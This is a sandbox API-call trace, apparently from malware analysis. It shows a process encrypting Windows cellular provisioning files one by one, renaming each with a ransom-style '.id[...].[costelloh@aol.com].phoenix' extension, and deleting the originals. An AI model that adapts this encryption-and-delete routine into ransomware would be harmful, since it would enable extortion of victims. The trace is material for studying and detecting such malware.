	[0243.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\244__connections_cellular_omnitel (lithuania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\244__connections_cellular_omnitel (lithuania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.721] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\244__connections_cellular_omnitel (lithuania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0243.721] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0243.721] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0243.721] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\244__connections_cellular_omnitel (lithuania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0243.722] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0243.722] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0243.722] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x302, lpOverlapped=0x0) returned 1
	[0243.845] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310, dwBufLen=0x310 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310) returned 1
	[0243.845] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x310, lpOverlapped=0x0) returned 1
	[0243.847] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0243.847] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0243.847] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0243.847] CryptDestroyKey (hKey=0x151200) returned 1
	[0243.847] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0243.847] CryptDestroyKey (hKey=0x151180) returned 1
	[0243.847] CloseHandle (hObject=0x2e8) returned 1
	[0243.847] CloseHandle (hObject=0x2c4) returned 1
	[0243.847] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\244__connections_cellular_omnitel (lithuania)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.848] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0243.848] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\246__connections_cellular_tele2 (lithuania)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0243.849] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=710) returned 1
	[0243.849] CloseHandle (hObject=0x2c4) returned 1
	[0243.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\246__connections_cellular_tele2 (lithuania)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0243.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\246__connections_cellular_tele2 (lithuania)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.849] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\246__connections_cellular_tele2 (lithuania)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0243.849] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0243.849] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0243.849] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\246__connections_cellular_tele2 (lithuania)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0243.850] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0243.850] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0243.850] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c6, lpOverlapped=0x0) returned 1
	[0243.916] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0243.916] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0243.917] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0243.917] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0243.917] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0243.917] CryptDestroyKey (hKey=0x151700) returned 1
	[0243.917] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0243.917] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0243.917] CloseHandle (hObject=0x2c4) returned 1
	[0243.917] CloseHandle (hObject=0x2e8) returned 1
	[0243.918] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\246__connections_cellular_tele2 (lithuania)_i1$(__mvid)@wap.provxml")) returned 1
	[0243.918] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0243.919] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\249__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0243.919] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=709) returned 1
	[0243.919] CloseHandle (hObject=0x2e8) returned 1
	[0243.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\249__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\249__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.919] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\249__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0243.919] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0243.919] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0243.919] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\249__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0243.920] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0243.920] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0243.920] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c5, lpOverlapped=0x0) returned 1
	[0243.924] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0243.924] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0243.924] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0243.924] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0243.924] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0243.924] CryptDestroyKey (hKey=0x151680) returned 1
	[0243.924] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0243.925] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0243.925] CloseHandle (hObject=0x2e8) returned 1
	[0243.925] CloseHandle (hObject=0x2c4) returned 1
	[0243.925] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\249__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.926] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0243.926] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\250__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0243.927] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=643) returned 1
	[0243.927] CloseHandle (hObject=0x2e8) returned 1
	[0243.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\250__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\250__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.927] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\250__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0243.928] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0243.928] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0243.928] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\250__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.931] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0243.931] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0243.931] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x283, lpOverlapped=0x0) returned 1
	[0244.290] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0244.290] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0244.291] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0244.291] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0244.291] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0244.291] CryptDestroyKey (hKey=0x151200) returned 1
	[0244.291] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0244.292] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0244.292] CloseHandle (hObject=0x2e8) returned 1
	[0244.292] CloseHandle (hObject=0x2d8) returned 1
	[0244.292] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\250__connections_cellular_ctm (macao sar)_i0$(__mvid)@wap.provxml")) returned 1
	[0244.293] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0244.293] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\257__connections_cellular_digi (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.298] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=640) returned 1
	[0244.298] CloseHandle (hObject=0x2c4) returned 1
	[0244.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\257__connections_cellular_digi (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0244.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\257__connections_cellular_digi (malaysia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.298] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\257__connections_cellular_digi (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.298] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0244.298] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
